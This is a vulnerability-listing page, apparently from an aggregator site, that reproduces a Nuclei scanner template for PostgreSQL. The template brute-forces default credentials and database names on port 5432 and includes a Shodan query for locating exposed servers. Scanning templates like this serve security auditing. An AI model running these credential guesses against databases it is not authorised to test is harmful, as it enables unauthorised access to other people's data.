pgsql-default-db: Postgresql Default Database - Enumeration

2025-08-01 Postgresql Default Database PoC Public

Description

postgres is the default database you will connect to before you have created any other databases.

Details

Severity
高危
Affected
Postgresql Default Database
Published
PoC
Public

PoC

id: pgsql-default-db

info:
  name: Postgresql Default Database - Enumeration
  author: pussycat0x
  severity: high
  description: |
    postgres is the default database you will connect to before you have created any other databases.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-database-name
  metadata:
    verified: true
    max-request: 40
    shodan-query: "product:\"PostgreSQL\""
  tags: js,network,postgresql,authenticated,enum,discovery

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      connected = client.ConnectWithDB(Host, Port, User, Pass, Db);
      connected  ;

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"

    payloads:
      usernames:
        - postgres
        - admin
      password:
        - postgres
        -
        - 123
        - amber
      database:
        - foresight
        - postgres
        - template0
        - template1
        - test

    attack: clusterbomb

    matchers:
      - type: dsl
        dsl:
          - "success == true"
          - "response == true"
        condition: and
# digest: 4b0a00483046022100c46f3bda20dc3fcfa66ebfe6bf157ded278acbf64a81f8ff33fe01a1a646bcb3022100d9d6f8f668a5fc92c90a8a7c30fc452c42ae422f13aba73928b73226bf28f8b1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life